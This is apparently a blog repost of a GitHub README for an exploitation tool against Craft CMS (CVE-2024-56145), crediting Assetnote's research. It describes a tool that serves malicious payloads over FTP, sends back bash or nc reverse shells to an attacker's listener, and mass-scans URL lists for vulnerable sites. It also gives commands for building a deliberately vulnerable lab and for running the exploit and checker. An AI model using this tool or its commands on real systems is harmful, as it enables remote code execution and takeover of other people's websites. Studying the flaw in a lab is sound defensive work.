> ## Content Index
> Fetch the complete content index at: https://darkwebinformer.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# CVE-2024-56145: Craft CMS Exploitation Tool
- URL: https://darkwebinformer.com/cve-2024-56145-craft-cms-exploitation-tool/
- Published: 2024-12-20T17:10:03.000Z
- Updated: 2025-09-04T22:24:55.000Z
- Author: Dark Web Informer
- Tags: Vulnerabilities, Tools

---

GitHub: <https://github.com/Chocapikk/CVE-2024-56145>

---

[](https://github.com/Chocapikk/CVE-2024-56145#cve-2024-56145-craft-cms-exploitation-tool-)

This tool is designed to exploit a vulnerability in **Craft CMS** identified by the amazing research team at [Assetnote](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). The issue arises due to improper handling of user-supplied template paths, allowing attackers to achieve **Remote Code Execution (RCE)** 🛠️ via specially crafted payloads.

🙏 **Special thanks to Assetnote for their dedication to security and research.**

---

## ✨ Features

[](https://github.com/Chocapikk/CVE-2024-56145#-features)

- 🚀 **Automated FTP server** to serve malicious payloads.
- 🧪 **Reverse shell payload generation** with multiple options (`bash`, `nc`).
- 🔍 **Vulnerability checker** to identify vulnerable targets.
- 🖥️ **Multithreaded support** for faster scans.
- 🛠️ **Easy-to-use CLI interface** with clear feedback.

---

## 🛡️ Setting Up a Vulnerable Lab

[](https://github.com/Chocapikk/CVE-2024-56145#%EF%B8%8F-setting-up-a-vulnerable-lab)

Follow these steps to set up a Craft CMS instance for testing purposes:

mkdir exploit-craft && \\  
cd exploit-craft && \\  
\# Configure DDEV project for Craft CMS  
ddev config \\  
 \--project-type=craftcms \\  
 \--docroot=web \\  
 \--create-docroot \\  
 \--php-version="8.2" \\  
 \--database="mysql:8.0" \\  
 \--nodejs-version="20" && \\  
\# Create the DDEV project  
ddev start -y && \\  
\# Create Craft CMS with the specified version  
ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \\  
\# Install the specific CMS version  
ddev composer require "craftcms/cms:5.5.0" \\  
 \--no-scripts \\  
 \--no-interaction --with-all-dependencies && \\  
\# Set the security key for Craft CMS  
ddev craft setup/security-key && \\  
\# Install Craft CMS  
ddev craft install/craft \\  
 \--username=admin \\  
 \--password=password123 \\  
 \--email=admin@example.com \\  
 \--site-name=Testsite \\  
 \--language=en \\  
 \--site-url='$DDEV\_PRIMARY\_URL' && \\  
\# Enable register\_argc\_argv for PHP  
mkdir -p .ddev/php/ && \\  
echo "register\_argc\_argv = On" > .ddev/php/php.ini && \\  
\# Final step, echo message and launch the project  
echo 'Nice, ready to launch!' && \\  
ddev launch

---

## 🚨 Usage

[](https://github.com/Chocapikk/CVE-2024-56145#-usage)

Run the tool with the `--help` flag to view available commands:

python exploit.py --help

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/12/1487125-1.png)

---

### 🚀 Exploit Command

[](https://github.com/Chocapikk/CVE-2024-56145#-exploit-command)

To exploit a target:

python exploit.py exploit -u <TARGET\_URL> -lh <LOCAL\_HOST> -lp <LOCAL\_PORT> -px <PAYLOAD\_TYPE>

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/12/1487126.png)

#### ⚙️ Options:

[](https://github.com/Chocapikk/CVE-2024-56145#%EF%B8%8F-options)

- `-u` / `--url`: The target URL (required).
- `-lh` / `--lhost`: Your local IP for receiving the reverse shell (required).
- `-lp` / `--lport`: The local port for the listener (required).
- `-px` / `--payload`: Payload type (`bash`, `nc`). Default: `bash`.

#### 🧪 Example:

[](https://github.com/Chocapikk/CVE-2024-56145#-example)python exploit.py exploit -u https://example.com -lh 192.168.1.10 -lp 4444 -fh 127.0.0.1 -fp 2121 -px bash

---

### 🔍 Check Command

[](https://github.com/Chocapikk/CVE-2024-56145#-check-command)

To check if a target is vulnerable:

python exploit.py check -u <TARGET\_URL> -f <FILE\_WITH\_URLS> -t <THREADS> -o <OUTPUT\_FILE>

#### ⚙️ Options:

[](https://github.com/Chocapikk/CVE-2024-56145#%EF%B8%8F-options-1)

- `-u` / `--url`: A single target URL.
- `-f` / `--file`: A file containing multiple URLs to scan.
- `-t` / `--threads`: Number of concurrent threads for scanning.
- `-o` / `--output`: Output file to save results.

![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/12/1487127.png)

#### 🧪 Example:

[](https://github.com/Chocapikk/CVE-2024-56145#-example-1)python exploit.py check -f urls.txt -t 10 -o results.txt

Enjoy responsibly and ethically! ✨